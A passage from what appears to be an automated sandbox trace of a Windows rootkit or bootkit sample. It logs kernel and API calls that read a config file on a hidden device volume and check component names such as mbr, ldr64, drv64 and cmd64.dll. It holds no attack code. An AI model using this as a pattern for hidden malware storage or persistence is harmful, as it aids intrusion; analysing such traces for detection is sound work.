ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.945] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.945] IdePortDispatch () returned 0x103 [0123.945] KeWaitForMutexObject () returned 0x0 [0123.945] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.945] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.945] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.945] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.945] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.945] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bed5a0 [0123.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.945] KeLeaveCriticalRegion () [0123.945] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.945] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.945] KeEnterCriticalRegion () [0123.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.946] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.946] KeLeaveCriticalRegion () [0123.946] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.946] KeEnterCriticalRegion () [0123.946] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.946] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.946] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.946] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.946] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.946] IdePortDispatch () returned 0x103 [0123.946] KeWaitForMutexObject () returned 0x0 [0123.946] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.946] KeLeaveCriticalRegion () [0123.946] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.946] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.946] KeEnterCriticalRegion () [0123.946] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.946] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b8000 [0123.946] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.946] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.946] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.946] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.946] IdePortDispatch () returned 0x103 [0123.946] KeWaitForMutexObject () returned 0x0 [0123.947] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.947] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.947] IdePortDispatch () returned 0x103 [0123.947] KeWaitForMutexObject () returned 0x0 [0123.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.947] KeLeaveCriticalRegion () [0123.947] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.947] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.948] KeEnterCriticalRegion () [0123.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.948] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.948] KeLeaveCriticalRegion () [0123.948] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.948] KeEnterCriticalRegion () [0123.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.948] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.948] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003826290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.948] KeLeaveCriticalRegion () [0123.948] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.948] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.948] KeEnterCriticalRegion () [0123.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.948] ExFreePoolWithTag (P=0xfffffa8003bed5a0, Tag=0x0) [0123.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.948] KeLeaveCriticalRegion () [0123.948] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.948] ReleaseMutex (hMutex=0xf0) returned 1 [0123.948] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.948] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.948] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.948] KeEnterCriticalRegion () [0123.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.948] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.948] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.948] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.948] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.948] IdePortDispatch () returned 0x103 [0123.948] KeWaitForMutexObject () returned 0x0 [0123.949] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.949] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.949] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.949] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.949] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.949] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc5100 [0123.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.949] KeLeaveCriticalRegion () [0123.949] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.949] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.949] KeEnterCriticalRegion () [0123.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.949] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.949] KeLeaveCriticalRegion () [0123.949] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.949] KeEnterCriticalRegion () [0123.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.949] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.949] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.949] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.949] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.949] IdePortDispatch () returned 0x103 [0123.949] KeWaitForMutexObject () returned 0x0 [0123.949] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.950] KeLeaveCriticalRegion () [0123.950] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.950] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.950] KeEnterCriticalRegion () [0123.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.950] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b9000 [0123.950] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.950] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.950] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.950] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.950] IdePortDispatch () returned 0x103 [0123.950] KeWaitForMutexObject () returned 0x0 [0123.950] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.950] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.950] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.950] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.950] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.950] IdePortDispatch () returned 0x103 [0123.950] KeWaitForMutexObject () returned 0x0 [0123.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.950] KeLeaveCriticalRegion () [0123.951] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.951] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.951] KeEnterCriticalRegion () [0123.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.951] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.951] KeLeaveCriticalRegion () [0123.951] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.951] KeEnterCriticalRegion () [0123.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.951] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.951] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bee830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.951] KeLeaveCriticalRegion () [0123.951] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.951] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.951] KeEnterCriticalRegion () [0123.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.952] ExFreePoolWithTag (P=0xfffffa8003bc5100, Tag=0x0) [0123.952] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.952] KeLeaveCriticalRegion () [0123.952] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.952] ReleaseMutex (hMutex=0xf0) returned 1 [0123.952] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.952] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.952] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.952] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.952] KeEnterCriticalRegion () [0123.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.952] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.952] IdePortDispatch () returned 0x103 [0123.952] KeWaitForMutexObject () returned 0x0 [0123.952] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.952] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.952] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.952] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.952] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.952] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.952] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.952] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.952] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.952] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.952] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.952] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.952] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.952] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.952] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.953] KeLeaveCriticalRegion () [0123.953] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.953] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.953] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.953] KeEnterCriticalRegion () [0123.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.953] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.953] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.953] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.953] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.953] IdePortDispatch () returned 0x103 [0123.953] KeWaitForMutexObject () returned 0x0 [0123.953] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.953] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.953] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.953] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.953] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.953] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.953] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.953] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.953] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.953] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.953] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.953] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.953] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.953] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.953] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.953] KeLeaveCriticalRegion () [0123.953] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.953] ReleaseMutex (hMutex=0x100) returned 1 [0123.953] Sleep (dwMilliseconds=0x2bf20) [0123.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d148590, dwHighDateTime=0x1d24fa4)) [0123.961] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.961] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.961] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.961] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.961] KeEnterCriticalRegion () [0123.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.961] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.961] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.961] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.961] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.961] IdePortDispatch () returned 0x103 [0123.961] KeWaitForMutexObject () returned 0x0 [0123.962] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.962] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.962] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.962] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.962] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.962] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bee970 [0123.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.962] KeLeaveCriticalRegion () [0123.962] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.962] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.962] KeEnterCriticalRegion () [0123.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.962] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.962] KeLeaveCriticalRegion () [0123.962] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.962] KeEnterCriticalRegion () [0123.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.962] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.962] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.962] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.962] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.962] IdePortDispatch () returned 0x103 [0123.962] KeWaitForMutexObject () returned 0x0 [0123.962] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.963] KeLeaveCriticalRegion () [0123.963] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.963] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.963] KeEnterCriticalRegion () [0123.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.963] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bc000 [0123.963] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.963] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.963] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.963] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.963] IdePortDispatch () returned 0x103 [0123.963] KeWaitForMutexObject () returned 0x0 [0123.963] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.963] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.963] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 